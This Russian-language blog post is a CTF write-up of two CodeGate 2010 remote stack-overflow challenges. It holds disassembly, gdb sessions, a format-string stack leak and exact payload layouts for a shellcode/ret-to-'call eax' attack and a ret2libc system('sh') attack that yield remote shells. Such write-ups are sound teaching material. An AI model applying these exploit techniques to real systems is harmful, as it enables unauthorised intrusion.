→ Remote buffer overflow

| No TrackBacks
На прошедших CodeGate CTF 2010 была пара заданий на удаленное переполнение стека: один и два. Код этих обоих модулей одинаков - вывод строки 'Input:', чтение ввода с помощью getline и memcpy прочитанного в стековый буфер. Работу с сетью обеспечивает xinetd. Различны только данные заголовков:

C:\>readelf -l easy | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
C:\>readelf -l harder | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Займемся easy.
Функция с говорящим названием func содержит вызов того самого memcpy в буфер размером 0x108 (0xfffffef8):
080484e4 <func>:
 80484e4:    55                       push   %ebp
 80484e5:    89 e5                    mov    %esp,%ebp
 80484e7:    81 ec 18 01 00 00        sub    $0x118,%esp
 80484ed:    8b 45 0c                 mov    0xc(%ebp),%eax
 80484f0:    89 44 24 08              mov    %eax,0x8(%esp)
 80484f4:    8b 45 08                 mov    0x8(%ebp),%eax
 80484f7:    89 44 24 04              mov    %eax,0x4(%esp)
 80484fb:    8d 85 f8 fe ff ff        lea    0xfffffef8(%ebp),%eax
 8048501:    89 04 24                 mov    %eax,(%esp)
 8048504:    e8 ef fe ff ff           call   80483f8 
 8048509:    c9                       leave  
 804850a:    c3                       ret    
Подозревая kernel.randomize_va_space != 0 (что в последствии подтвердилось) и учитывая, что после memcpy EAX указывает на наш стековый буфер, ищем подходящее место для передачи управления после затирания адреса возврата:
080484c0 <frame_dummy>:
 80484c0:    55                       push   %ebp
                                               ...
 80484df:    ff d0                    call   *%eax
 80484e1:    c9                       leave  
 80484e2:    c3                       ret    
 80484e3:    90                       nop    
Берем подходящий шелл-код, например, такой и формируем буфер:
| Shellcode + Padding | 0xABABABAB | 0x080484DF | 0x0D + 0x0A |
| ----0x108 bytes---- |  fake EBP  |ret2call EAX|  endline

Отправляем, коннектимся на указанный в шелл-коде порт, имеем удаленную командную строку, cat /home/easy/flag.txt, флаг получен.

Harder. Используем ret2libc, чтобы выполнить system("sh"). Строку "sh" можно взять из образа от имени функции fflush по адресу 0x080482b9. Чтобы найти адрес system() в libc используем уязвимость форматной строки: переполняем буфер строкой "%x" длиной 0x108 и адресом возврата 0x08048521:
08048521:    89 04 24                 mov    %eax,(%esp)
08048524:    e8 df fe ff ff           call   8048408 <printf@plt>
И соответствующий буфер:
| %x 0x108 bytes | 0xABABABAB | 0x08048521 |
и анализируем стек (показаны результаты трех запусков):
00000113 00000113 00000113
008fe420 0079b420 004b8420
bfba2468 bfb91c18 bf8128c8
007ec345 00689345 003a6345
00a00d20 002c8d20 005e1d20
00000113 00000113 00000113
09420008 09f31008 09238008
08048590 08048590 08048590
Теперь запускаем локально harder в gdb и изучим стек в окрестностях вызова printf:
Breakpoint 2, 0x08048524 in main ()
(gdb) x/16a $esp
0xbffffe00:     0x08048640
0xbffffe04:     0xb7fcdff4
0xbffffe08:     0x08048590 <__libc_csu_init>
0xbffffe0c:     0xbffffe28
0xbffffe10:     0xb7ebc345 <__cxa_atexit+53>
0xbffffe14:     0xb7ff0d20
0xbffffe18:     0x0804859b <__libc_csu_init+11>
0xbffffe1c:     0x00000000
0xbffffe20:     0x08048590 <__libc_csu_init>
0xbffffe24:     0x00000000
0xbffffe28:     0xbffffea8
0xbffffe2c:     0xb7ea3b56 <__libc_start_main+230>
0xbffffe30:     0x00000001
0xbffffe34:     0xbffffed4
0xbffffe38:     0xbffffedc
0xbffffe3c:     0xb7fe1858
Особо интересны значения над 0xbffffe20: gdb подсказывает, что 0xb7ebc345 принадлежит libc, как вероятно, 0xb7ff0d20. Учитывая, что libc грузится в память с выравниванием в одну страницу, находим в сдампленном стеке похожие значения: 007ec345 и 00a00d20. Это говорит, что старший байт адреса у harder, запущенного под xinetd нулевой. Далее, грузим harder в gdb так, чтобы libc оказалось по адресам с нулевым старшим байтом и узнаем адрес system() - на удаленной машине с harder это условие выполнялось автоматически:
(gdb) b *main
Breakpoint 1 at 0x804850b
(gdb) r
Starting program: /tmp/harder

Breakpoint 1, 0x0804850b in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x00149020 <system>
Теперь формируем буфер и отправляем его уязвимой программе до тех пор, пока адреса загрузки libc в не совпадут: Как показала практика, совпадение происходит со 2-20 попытки:
| buffer 0x108 bytes | 0xABABABAB | 0x00149020 | 0xCDCDCDCD | 0x080482b9 |
Здесь 0xCDCDCDCD используется вместо адреса возврата для system(), который ждет параметр по адресу [esp+4]. После отправки эксплоита шлем в сокет "cat /home/harder/flag.txt\n", считываем ответ, флаг получен. Здесь описано несколько иное решение той же задачи.

UPD: Реализация удаленной командной строки через переполнение: easy.pl, harder.pl

No TrackBacks

TrackBack URL: http://smokedchicken.org/m/mt-tb.cgi/23

About this Entry

This page contains a single entry by Павел Збицкий published on March 16, 2010 3:37 PM.

SHA1 length extension was the previous entry in this blog.

WCVI-2010 is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.